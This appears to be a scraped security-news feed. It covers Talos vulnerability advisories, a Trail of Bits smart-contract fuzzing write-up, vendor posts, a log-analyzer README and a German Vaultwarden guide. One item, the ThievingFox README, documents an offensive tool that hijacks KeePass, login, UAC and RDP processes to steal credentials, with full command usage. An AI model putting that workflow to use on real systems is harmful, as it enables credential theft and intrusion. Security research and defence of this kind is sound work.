Code execution, information disclosure vulnerabilities in Peplink Smart Reader 

Discovered by Matt Wiseman. 

The Peplink Smart Reader is an internet-connected device associated with the PepXIM Time-Logging and Security System. Companies’ employees use this device to check in and out of their shifts, allowing administrators to keep track of time cards and pay. It also can control access to certain buildings, and even public transportation. 

There are two information disclosure vulnerabilities, TALOS-2023-1863 (CVE-2023-43491) and TALOS-2023-1865 (CVE-2023-45209), that are triggered if an adversary sends a specially crafted HTTP message to the targeted device.  

If successful, the attacker could eventually view the active administrator’s username and MD5-hased password. And in the case of TALOS-2023-1865, it goes a step further, potentially allowing the adversary to view wireless network credentials, network configuration details and SNMP configuration details. 

With those credentials (or admin credentials obtained by other means), an adversary could exploit TALOS-2023-1868 (CVE-2023-40146), a privilege escalation vulnerability in the Smart Reader. An adversary could execute a specially crafted command line argument to cause a limited-shell escape and execute unblocked, default busybox functionality to eventually gain access to an uninhibited root shell. 

TALOS-2023-1866 (CVE-2023-45744) is also triggered by a specially crafted HTTP request, but in this case, could allow an adversary to manipulate certain configuration settings on the device. 

The most serious of the issues Talos discovered in the Smart Reader is TALOS-2023-1867 (CVE-2023-39367), a command injection vulnerability that could allow an attacker to execute arbitrary commands. This vulnerability has a 9.1 CVSS score out of 10. An authenticated attacker can leverage this vulnerability to execute arbitrary commands on the device with root privileges and elevate their access to the vulnerable system. 

Silicon Labs Gecko Platform invalid pointer dereference vulnerability 

Discovered by Kelly Patterson. 

An invalid pointer dereference vulnerability exists in the HTTP server header parsing functionality of the Silicon Labs Gecko Platform.  

The Gecko Platform SDK is the collection of Silicon Labs’ wireless software development kits and Gecko Platform into an integrated package. It allows users to develop applications inside Silicon Labs’ internet-of-things software ecosystem. 

TALOS-2024-1945 (CVE-2023-51391) is triggered if an adversary sends the target a specially crafted network packet, which could lead to a denial-of-service condition. 

Incorrect type conversion vulnerability in open-source library for DICOM files 

Discovered by Emmanuel Tacheau. 

There is an incorrect type conversion vulnerability in OFFIS DCMTK, an open-source library often used to manage, store and convert DICOM files. DICOM is the commonly used file type to transfer, send and store medical imaging files, such as X-rays and ultrasounds.  

Hospitals and companies use DCMTK for various purposes, ranging from product testing to being a building block for research projects, prototypes and commercial products. 

TALOS-2024-1957 (CVE-2024-28130) could allow an adversary to execute arbitrary code on the targeted machine if they trick the user into opening a specially crafted file.  

Out-of-bounds write vulnerabilities in Grassroots DICOM library 

Discovered by Emmanuel Tacheau. 

Another open-source library for handling DICOM files, Grassroots DiCoM, contains three out-of-bounds writer vulnerabilities.  

TALOS-2024-1944 (CVE-2024-25569) and TALOS-2024-1935 (CVE-2024-22373) can be triggered if an adversary tricks the target into opening a specially crafted, malicious DICOM file, eventually allowing them to read out-of-bounds memory. 

TALOS-2024-1924 (CVE-2024-22391) works in the same way, but in this case, causes a heap-based buffer overflow, leading to memory corruption.  

Three vulnerabilities in Foxit PDF Reader could lead to arbitrary code execution 

Discovered by KPC. 

Three vulnerabilities exist in Foxit PDF Reader that could allow an adversary to execute arbitrary code on the targeted machine. 

Foxit PDF Reader is one of the most popular pieces of PDF-reading software currently available and aims to have feature parity with Adobe Acrobat Reader. It also includes a browser plugin to allow users to open files in their web browsers.  

TALOS-2024-1959 (CVE-2024-25648) and TALOS-2024-1958 (CVE-2024-25938) are use-after-free vulnerabilities that can be triggered if an attacker tricks a user into opening a malicious, specially crafted PDF. This could also work if the user has the browser plugin enabled and the adversary tricks them into opening an attacker-controlled webpage. These vulnerabilities could lead to a use-after-free issue, potentially leading to memory corruption and arbitrary code execution. 

There is also a type confusion vulnerability, TALOS-2024-1963 (CVE-2024-25575), that could also lead to memory corruption and arbitrary code execution. 

OSTE-Web-Log-Analyzer - Automate The Process Of Analyzing Web Server Logs With The Python Web Log Analyzer


Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:


Features

  1. Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.

  2. Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.

  3. Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.

  4. User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.

Future Features

This project is actively developed, and future features may include:

  1. IP Geolocation: Identify the geographic location of IP addresses in the logs.
  2. Real-time Monitoring: Implement real-time monitoring capabilities for immediate threat detection.

Installation

The tool only requires Python 3 at the moment.

  1. step1: git clone https://github.com/OSTEsayed/OSTE-Web-Log-Analyzer.git
  2. step2: cd OSTE-Web-Log-Analyzer
  3. step3: python3 WLA-cli.py

Usage

After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t

use -h or --help for more detailed usage examples : python3 WLA-cli.py -h

Contact

linkdin:(https://www.linkedin.com/in/oudjani-seyyid-taqy-eddine-b964a5228)



Before yesterdayMain stream

Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service

30 April 2024 at 19:33

In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.

The post Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service appeared first on Horizon3.ai.

LABScon23 Replay | From Vulkan to Ryazan – Investigative Reporting from the Frontlines of Infosec

By: LABScon
30 April 2024 at 16:12

During the last couple of years, Hakan Tanriverdi (@hatr) has reported on several large-scale digital espionage and sabotage campaigns, from hacking groups that were later called out by the Department of Justice to companies targeting critical infrastructure in Germany and across Western Europe. In both cases, mistakes in how the attackers set up their infrastructure enabled Hakan’s team to follow their tracks, in some cases right back to their employers. The resulting stories revealed the intersection where covert cyber operations and overt organizational structures meet.

This talk lays out the types of information investigative reporters work with, how they follow and fact-check opaque leads, and how they turn them into portraits of previously unknown actors pulling the strings in cyberspace.

Covering investigations into Turla, Magna Bear and REvil, this talks offers a fascinating insight into how researchers peel back the layers threat actors use to mask their activities.

About the Presenter

Hakan Tanriverdi works as a reporter for Paper Trail Media covering cybersecurity. He mainly focuses on hacking groups and trying to find out who they are working for, on a name- and employer-basis. His investigations tend to be on the more technical side and are assisted by scripts, scrapers and querying databases.

About LABScon 2023

This presentation was featured live at LABScon 2023, an immersive 3-day conference bringing together the world’s top cybersecurity minds, hosted by SentinelOne’s research arm, SentinelLabs.

Keep up with all the latest on LABScon 2024 here.

Curvance: Invariants unleashed

30 April 2024 at 13:30

By Nat Chin

Welcome to our deep dive into the world of invariant development with Curvance.

We’ve been building invariants as part of regular code review assessments for more than 6 years now, but our work with Curvance marks our very first official invariant development project, in which developing and testing invariants is all we did.

Over the nine-week engagement, we wrote and tested 216 invariants, which helped us uncover 13 critical findings. We also found opportunities to significantly enhance our tools, including advanced trace printing and corpus preservation. This project was a journey of navigating learning curves and accomplishing technological feats, and this post will highlight our collaborative efforts and the essential role of teamwork in helping us meet the challenge. And yes, we’ll also touch on the brain-cell-testing moments we experienced throughout this project!

A collective “losing it” moment, capturing the challenges of this project

Creating a quality fuzzing suite

The success of a fuzzing suite is grounded in the quality of its invariants. Throughout this project, we focused on fine-tuning each invariant for accuracy and relevance. Fuzzing, in essence, is like having smart monkeys on keyboards testing invariants, whose effectiveness relies heavily on their precision. Our journey with Curvance over nine weeks involved turning in-depth discussions on codebase properties into precise English explanations and then coding them into executable tests, as shown in the screenshots below.

Examples of what our daily discussions looked like to clarify invariants

From the get-go, Chris from Curvance was often available to help clarify the code’s expected behavior and explain Curvance’s design choices. His insights always clarified complex functions and behavior, and he always helped with hands-on debugging and checking our invariants. This engagement was as productive as it was thanks to Chris’s consistent feedback and working alongside us the entire time. Thank you, Curvance!

The tools (and support teams) behind our success

Along with Curvance’s involvement, support from our internal teams behind Echidna, Medusa, and CloudExec helped our project succeed. Their swift responses to issues, especially during extensive rebases and complex debugging, were crucial. The Curvance engagement pushed these tools to their limits, and the solutions we had to come up with for the challenges we faced led to significant enhancements in these tools.

CloudExec proved invaluable for deploying long fuzzing jobs onto DigitalOcean. We integrated it with Echidna and Medusa for prolonged runs, enabling Curvance to easily set up its own future fuzzing runs. We pinpointed areas of improvement for CloudExec, such as its preservation of output data, which you can see on its GitHub issue tracker. We’ve already addressed many of these issues.

Echidna, our property-based fuzzer for Ethereum contracts, was pivotal in falsifying assertions. We first used Echidna in exploration mode to broadly cover the Curvance codebase, and then we moved into assertion mode, using anywhere from 10 million to 100 billion iterations. This intense use of Echidna throughout our nine-week engagement helped us uncover vital areas of improvement for the tool, making it easier for it to debug and retain the state of explored code areas.

Medusa, our geth-based experimental fuzzer, complemented Echidna in its coverage efforts for falsifying invariants on Curvance. Before we could use Medusa for this engagement, we needed to fix a known out-of-memory bug. The fix for this bug—along with fixes implemented in CloudExec to help it better preserve output data—critically improved the tool and helped maximize our coverage of the Curvance code. Immediately after it started running, it found a medium-severity bug in the code that Echidna had missed. (Echidna eventually found this bug after we changed the block time delay, likely due to the fuzzer’s non-determinism.)

Our first Medusa run of 48+ hours resulted in a medium-severity bug.

The long and winding road

While we had the best support from the teams behind our tools and from our client that we could have asked for, we still faced considerable challenges throughout this project—from the need to keep pace with Curvance’s continued development, to the challenges of debugging assertion failures. But by meeting these challenges, we learned important lessons about the nature of invariant development, and we were able to implement crucial upgrades to our tools to improve our process overall.

Racing to keep up with Curvance’s code changes

Changes to the Curvance codebase—like function removals, additions of function parameters, adjustments to arguments and error messages, and renaming of source contracts—often challenged our fuzzing suite by invalidating existing invariants or causing a series of assertion failures. Ultimately, these changes rendered our existing corpus items obsolete and unusable, and we had to rebase our fuzzing suite and revise both existing and new invariants constantly to ensure their continued relevance to the evolving system. This iterative process paralleled the client’s code development, presenting a mix of true positives (actual bugs in the client’s code) and false positives (failures due to incorrect or outdated invariants). Such outcomes emphasized that fuzzing isn’t a static, one-time setup; it demands ongoing maintenance and updates, akin to development of any active codebase.

Understanding the rationale behind each invariant change post-rebase is crucial. Hasty adjustments without fully grasping their implications could inadvertently mask bugs, undermining the effectiveness of the fuzzing suite. Keeping the suite alive and relevant is as vital as the development of the codebase itself. It’s not just about letting the fuzzer run; it’s about maintaining its alignment with the system it tests. Remember, the true power of a fuzzing suite lies in the accuracy of its invariants.

Critical tool upgrades and lessons learned

We had to make a significant rebase after the Lendtroller contract’s name was changed to MarketManager in commit a96dc9a. This change drastically impacted our work, as Echidna had just finished 43 days of running in the cloud using CloudExec. This nonstop execution had allowed Echidna to develop a detailed corpus capable of autonomously tackling complex liquidations. Unfortunately, the change rendered this corpus obsolete, and each corpus item caused Echidna worker threads to crash upon transaction replay. With our setup of 15 workers, it took only 14 more transactions that could not be replayed for all the Echidna workers to crash, halting Echidna entirely:

An Echidna crash resulting from not being able to replay corpus item

Our rebase due to Curvance’s code change led to a significant problem: our fuzzers could no longer access MarketManager functions needed to explore complex state, like posting collateral and borrowing debt. This issue prompted us to make crucial updates to Echidna, specifically to enhance its ability to validate and replay corpus sequences without crashing. We also made updates to Medusa to improve its tracking of corpus health and ability to fix start-up panics. Extended discussions about maintaining a dynamic corpus ensued, with our engineering director stepping in to manually adjust the corpus, offering some relief.

We shifted our strategy to adjust to the new codebase’s lack of coverage. We developed liquidation-specific invariants for the codebase version before the contract name change, while running the updated version in different modes to boost coverage. CloudExec’s new features, like named jobs, improved checkpointing of output directories, and checkpointing for failed jobs, were key in differentiating and managing these runs. Despite all these improvements, we let the old corpus go and chose to integrate setup functions into key contracts to speed up coverage. While effective in increasing coverage, this strategy introduced biases, especially in liquidation scenarios, by relying on static values. This limitation, marked in the codebase with /// @coverage:limitation tags, underscores the importance of broadening input ranges in our stateful tests to ensure comprehensive system exploration.

Trials and tribulations: Debugging

The Curvance invariant development report mainly highlights the results of our debugging without delving into the complex journey of investigation and root cause analysis behind these findings. This part of the process, involving detailed analysis once assertion failures were identified, required significant effort.

Our primary challenge was dissecting long call sequences, often ranging from 9 to 70 transactions, which required deep scrutiny to identify where errors and unexpected values crept in. Some sequences spanned up to 29 million blocks or included time delays exceeding 6 years, adding layers of complexity to our understanding of the system’s behavior. To tackle this, we had to manually insert logs for detailed state information, turning debugging into an exhaustive and manual endeavor:

Echidna’s debugging at the beginning of the engagement

Our ability to manually shrink transaction sequences hinged on our deep understanding of Curvance’s system. This detailed knowledge was critical for us to effectively identify which transactions were essential for uncovering vulnerabilities and which could be discarded. As we gained this deeper insight into the system throughout the project, our ability to streamline transaction sequences improved markedly.

Based on our work with combing through transaction sequences, we implemented a rich reproducer trace feature in Echidna, providing us with detailed traces of the system during execution and elaborate printouts of the system state at each step of the transaction failure sequence. Meanwhile, we also added shrinking limits of transaction sequences to Medusa to fix intermittent assertion failures, and we updated Medusa’s coverage report to increase its readability. The stark difference in Echidna’s trace printing after these updates can easily be seen in the figure below:

Echidna’s call sequences with rich traces at the end of the engagement

Finally, we created corresponding unit tests based on most assertion failures during our engagement. Initially, converting failures to unit tests was manual and time-consuming, but by the end, we streamlined the process to take just half an hour. We used the insights we gained from this experience to develop fuzz-utils, an automated tool for converting assertion failures into unit tests. Although it’s yet to be extensively tested, its potential for future engagements excites us!

One lock too many: The story behind TOB-CURV-4

After a significant change to the Curvance codebase, we encountered a puzzling assertion failure. Initially, we suspected it might be a false positive, a common occurrence with major code changes. However, after checking the changes in the Curvance source code, the root cause wasn’t immediately apparent, leading us into a complex and thorough debugging process.

We analyzed the full reproducer traces in Echidna (an Echidna feature that was added during this engagement, as mentioned in the previous section), and we tested assumptions on different senders. We crafted and executed a series of unit tests, each iteration shedding more light on the underlying mechanics. It was time to zoom out to identify the commonalities in the functions involved in the new assertion failures, leading us to focus on the processExpiredLock function. By closely scrutinizing this function, we discovered an important assertion was missing: ensuring the number of user locks stays the same after a call to the function with the “relock” option.

When we reran the fuzzer, it immediately revealed the error: such a call would process the expired lock but incorrectly grant the user a new lock without removing the old one, leading to an unexpected increase in the total number of locks. This caused all forms of issues in the combineAllLocks function: the contracts always thought the user had one more lock than they actually had. Eureka!

This trace shows the increase in the number of user locks after the expired lock is processed:

The trace for the increase in user locks, provided in the full invariant development report in finding TOB-CURV-4

What made this finding particularly striking was its ability to elude detection through the various security reviews and tests. The unit tests, as it turned out, were checking an incorrect postcondition, concealing the bug in its checks, masking its error within the testing suite. The stateless fuzzing tests on this codebase (built by Curvance before this engagement) actually started to fail after this bug was fixed. This highlighted the necessity of not only complex and meticulous testing that validates every aspect of the codebase, but also of continually questioning and validating every aspect of the target code—and its tests.

What’s next?

Reflecting on our journey with Curvance, we recognize the importance of a comprehensive security toolkit for smart contracts, including unit, integration, and fuzz tests, to uncover system complexities and potential issues. Our collaboration over the past nine weeks has allowed us to meticulously examine and understand the system, enhancing our findings’ accuracy and deepening our mutual knowledge. Working closely with Curvance has proven crucial in revealing the technology’s intricacies, leading to the development of a stateful fuzzing suite that will evolve and expand with the code, ensuring continued security and insights.

Take a look at our findings in the public Curvance report! Or dive into the Curvance fuzzing suite, now open through the Cantina Competition! Simply download and unzip corpus.zip into the curvance/ directory, then run make el for Echidna or make ml for Medusa. We’ve designed it for ease of use and expansion. Encounter any issues? Let us know! For detailed instructions and suite extension tips, check the Curvance-CantinaCompetition README and keep an eye out for the /// @custom:limitation tags in the suite.

And if you’re developing a project and want to explore stateful fuzzing, we’d love to chat with you!

Cisco Talos at RSAC 2024

30 April 2024 at 12:00
Cisco Talos at RSAC 2024

With RSAC just a week away, Cisco Talos is gearing up for another year of heading to San Francisco to share in some of the latest major cybersecurity announcements, research and news.  

We’ve pulled together the highlights, so you don’t miss out on all things Talos.  

Tuesday, May 5  

Joe Marshall will be presenting on Project Power Up alongside Tara Vasyliv of NPC UKRENERGO on how Talos has helped to protect Ukraine’s power grid from disruptive electronic warfare. Reserve your seat for the 8:30 a.m. session here

Nick Biasini will be giving a lighting talk at the Cisco Booth N-5845 in the North Hall at 3:30 p.m. on the good, the bad and the ugly of ransomware in 2024.  

Wednesday, May 6  

Nicole Hoffman will be signing her children’s book, “The Mighty Threat Intelligence Warrior,” at 12:30 p.m. in the RSA Bookstore located in Moscone South, Esplanade Level.  

Thursday, May 7  

Hoffman will be out again, this time hosting a session on applying past lessons learned in hopes of a better future for identify threat detection at 9:40 a.m. in Moscone West 3022. Reserve a seat for the session here.  

And you can always follow along all week on X and LinkedIn for the latest updates.  

ThievingFox - Remotely Retrieving Credentials From Password Managers And Windows Utilities

By: Zion3R
30 April 2024 at 12:30


ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.

The accompanying blog post can be found here


Installation

Linux

Rustup must be installed, follow the instructions available here : https://rustup.rs/

The mingw-w64 package must be installed. On Debian, this can be done using :

apt install mingw-w64

Both x86 and x86_64 windows targets must be installed for Rust:

rustup target add x86_64-pc-windows-gnu
rustup target add i686-pc-windows-gnu

Mono and Nuget must also be installed, instructions are available here : https://www.mono-project.com/download/stable/#download-lin

After adding Mono repositories, Nuget can be installed using apt :

apt install nuget

Finally, python dependancies must be installed :

pip install -r client/requirements.txt

ThievingFox works with python >= 3.11.

Windows

Rustup must be installed, follow the instructions available here : https://rustup.rs/

Both x86 and x86_64 windows targets must be installed for Rust:

rustup target add x86_64-pc-windows-msvc
rustup target add i686-pc-windows-msvc

.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"

Finally, python dependancies must be installed :

pip install -r client/requirements.txt

ThievingFox works with python >= 3.11

NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)

Targets

All modules have been tested on the following Windows versions :

Windows Version
Windows Server 2022
Windows Server 2019
Windows Server 2016
Windows Server 2012R2
Windows 10
Windows 11

[!CAUTION] Modules have not been tested on other version, and are expected to not work.

Application Injection Method
KeePass.exe AppDomainManager Injection
KeePassXC.exe DLL Proxying
LogonUI.exe (Windows Login Screen) COM Hijacking
consent.exe (Windows UAC Popup) COM Hijacking
mstsc.exe (Windows default RDP client) COM Hijacking
RDCMan.exe (Sysinternals' RDP client) COM Hijacking
MobaXTerm.exe (3rd party RDP client) COM Hijacking

Usage

[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the cleanup module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.

ThievingFox contains 3 main modules : poison, cleanup and collect.

Poison

For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.

To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.

--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).

--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.

The KeePass modules requires the Visual C++ Redistributable to be installed on the target.

Multiple applications can be specified at once, or, the --all flag can be used to target all applications.

[!IMPORTANT] Remember to clean the cache if you ever change the --tempdir parameter, since the directory name is embedded inside native DLLs.

$ python3 client/ThievingFox.py poison -h
usage: ThievingFox.py poison [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-path KEEPASS_PATH]
[--keepass-share KEEPASS_SHARE] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--mstsc-poison-hkcr]
[--consent] [--logonui] [--rdcman] [--rdcman-poison-hkcr] [--mobaxterm] [--mobaxterm-poison-hkcr] [--all]
target

positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of the domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Try to poison KeePass.exe
--keepass-path KEEPASS_PATH
The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
--keepass-share KEEPASS_SHARE
The share on which KeePass is installed (Default: c$)
--keepassxc Try to poison KeePassXC.exe
--keepassxc-path KEEPASSXC_PATH
The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
--ke epassxc-share KEEPASSXC_SHARE
The share on which KeePassXC is installed (Default: c$)
--mstsc Try to poison mstsc.exe
--mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not
logged in (Default: False)
--consent Try to poison Consent.exe
--logonui Try to poison LogonUI.exe
--rdcman Try to poison RDCMan.exe
--rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not
logged in (Default: False)
--mobaxterm Try to poison MobaXTerm.exe
--mobaxterm-poison-hkcr
Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not
logged in (Default: False)
--all Try to poison all applications

Cleanup

For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.

For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.

Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.

It does not clean extracted credentials on the remote host.

[!IMPORTANT] If the targeted application is in use while the cleanup module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, the cleanup module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted by ThievingFox are logged.

$ python3 client/ThievingFox.py cleanup -h
usage: ThievingFox.py cleanup [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-share KEEPASS_SHARE]
[--keepass-path KEEPASS_PATH] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--consent] [--logonui]
[--rdcman] [--mobaxterm] [--all]
target

positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of the domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Try to cleanup all poisonning artifacts related to KeePass.exe
--keepass-share KEEPASS_SHARE
The share on which KeePass is installed (Default: c$)
--keepass-path KEEPASS_PATH
The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
--keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe
--keepassxc-path KEEPASSXC_PATH
The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
--keepassxc-share KEEPASSXC_SHARE
The share on which KeePassXC is installed (Default: c$)
--mstsc Try to cleanup all poisonning artifacts related to mstsc.exe
--consent Try to cleanup all poisonning artifacts related to Consent.exe
--logonui Try to cleanup all poisonning artifacts related to LogonUI.exe
--rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe
--mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe
--all Try to cleanup all poisonning artifacts related to all applications

Collect

For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.

Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.

$ python3 client/ThievingFox.py collect -h
usage: ThievingFox.py collect [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepassxc] [--mstsc] [--consent]
[--logonui] [--rdcman] [--mobaxterm] [--all]
target

positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of th e domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Collect KeePass.exe logs
--keepassxc Collect KeePassXC.exe logs
--mstsc Collect mstsc.exe logs
--consent Collect Consent.exe logs
--logonui Collect LogonUI.exe logs
--rdcman Collect RDCMan.exe logs
--mobaxterm Collect MobaXTerm.exe logs
--all Collect logs from all applications


Horizon3.ai Unveils Rapid Response Service for Cyber Resilience

30 April 2024 at 10:03

Business Wire 03/25/2024

Horizon3.ai, a pioneer in autonomous security solutions, today announced the launch of its Rapid Response service, now part of the NodeZero™ platform. This one-of-a-kind capability marks a significant advancement in autonomous penetration testing solutions by addressing a critical gap in measuring the real-world impact of exploitable vulnerabilities within the software many organizations…

Read the entire article here

The post Horizon3.ai Unveils Rapid Response Service for Cyber Resilience appeared first on Horizon3.ai.

Mastering Security: Wie nutze ich Vaultwarden?

By: kugler
30 April 2024 at 06:56

In einem unserer letzten Blogposts haben wir bereits vorgestellt, wie man die Open Source Version des bekannten Passwortmanagers Bitwarden installiert.

In dem heutigen Beitrag erklären wir nun, wie man diesen verwendet.

Die folgenden Begriffe werden dabei häufiger genannt werden:

  • Eintrag: ein gespeicherter Login mit Namen, Passwort und ggf. MFA
  • Ordner: kann von Usern genutzt werden, um ihre privaten Passwörter zu organisieren
  • Sammlung: funktioniert wie ein Ordner, allerdings in einer Organisation
  • Organisation: eine oder mehrere Organisationen innerhalb eines Vaults können genutzt werden, um Rollen und Rechte zu verwalten
  • Vault: der Tresor, in dem alles gespeichert wird. Ganz unabhängig von Organisation, Ordner oder Eintrag

1.1      Erstellung eines neuen Passworts

Wenn wir ein neues Passwort speichern wollen oder ein neues Passwort erstellen lassen wollen, klicken wir in unserem Vault auf „New“ > „Item“

Beginnen Sie damit, Ihre Daten in die vorgesehenen Felder einzutragen. Wenn Sie ein Passwort generieren möchten, klicken Sie einfach auf das „Lade-Symbol“ oben im Passwortfenster (siehe Pfeil 1 auf dem Beispielbild unten).

Wir können zudem einen OTP-Token einfügen, wenn wir diesen für den Login auf unserer Website benötigen.

Wenn wir fertig mit unserem Eintrag sind, können wir auf „Save“ klicken, um diesen zu speichern.

Der Beitrag ist nun in unserem persönlichen Vault.

1.2      Falsches Passwort geändert

Sollten wir einen Eintrag in unserem Vaultwarden ändern, allerdings im Nachhinein feststellen, dass wir den Falschen geändert haben, können wir über eine etwas versteckte Funktion die Passwort Historie sehen können und das alte Passwort wieder einfügen.

Hierfür klicken wir auf unseren Eintrag und scrollen etwas herunter, bis wir bei den Eintragsinformationen sind:

Wenn wir hier nun auf die kleine 1 neben „Password history“ klicken, sehen wir die vergangenen Passwortänderungen und können so unser altes Passwort wiederherstellen.

1.3      Erstellung eines Ordners

Um nun die Übersicht über unsere Passwörter nicht zu verlieren, können wir Ordner anlegen. Hierfür klicken wir wieder auf New > Folder.

Hier können wir unserem Ordner nun einen Namen geben.

Und wie zuvor auf Save klicken.

Wenn wir unseren Eintrag, den wir zuvor erstellt haben, in den Ordner verschieben wollen, öffnen wir diesen erneut und klicken auf „Folder“ und wählen in dem Dropdown-Menü „Meine Website“.

1.4      Erstellung einer Organisation

Szenario: In der Firma „MusterFirma“ gibt es eine Abteilung, die für die Bestellung von Büromaterial zuständig ist und einen einzigen Account für Bestellungen verwendet. Die Passwortverwaltung erfolgt über eine Excel-Tabelle, auf die alle Mitarbeiter dieser Abteilung Zugriff haben. Nun beabsichtigt Person A, diese Tabelle an Person B zu senden, hat sich jedoch vertan, und nun hat Person C aus einer anderen Abteilung Zugriff auf diese Zugangsdaten.

Für ein solches Szenario gibt es Organisationen in Bitwarden. Mit dieser Funktion können Administratoren festlegen, welche Personen Zugriff auf die Passwörter einer Abteilung haben, um sicherzustellen, dass Zugangsdaten nicht mehr über Teams-Nachrichten oder Excel-Tabellen geteilt werden müssen.

Eine Organisation erstellt man nun wie folgt:

Wir klicken in unserer Übersicht auf der rechten Seite auf „New organization

Unter dem Namen können wir nun den Namen unserer Firma oder der Abteilung eintragen. Unter „Email“ fügen wir die E-Mail-Adresse unseres Accounts ein.

Nun klicken wir auf „Submit“, um unsere Organisation zu erstellen.
Hier können wir nun unseren Zugang für z.B. die Materialbeschaffung speichern.

1.5      Zugang zur Organisation

Wenn wir nun unsere Kollegen zu der Organisation hinzufügen wollen, geht das wie folgt:

Wir klicken wie auf dem Bild gezeigt auf „Organizations

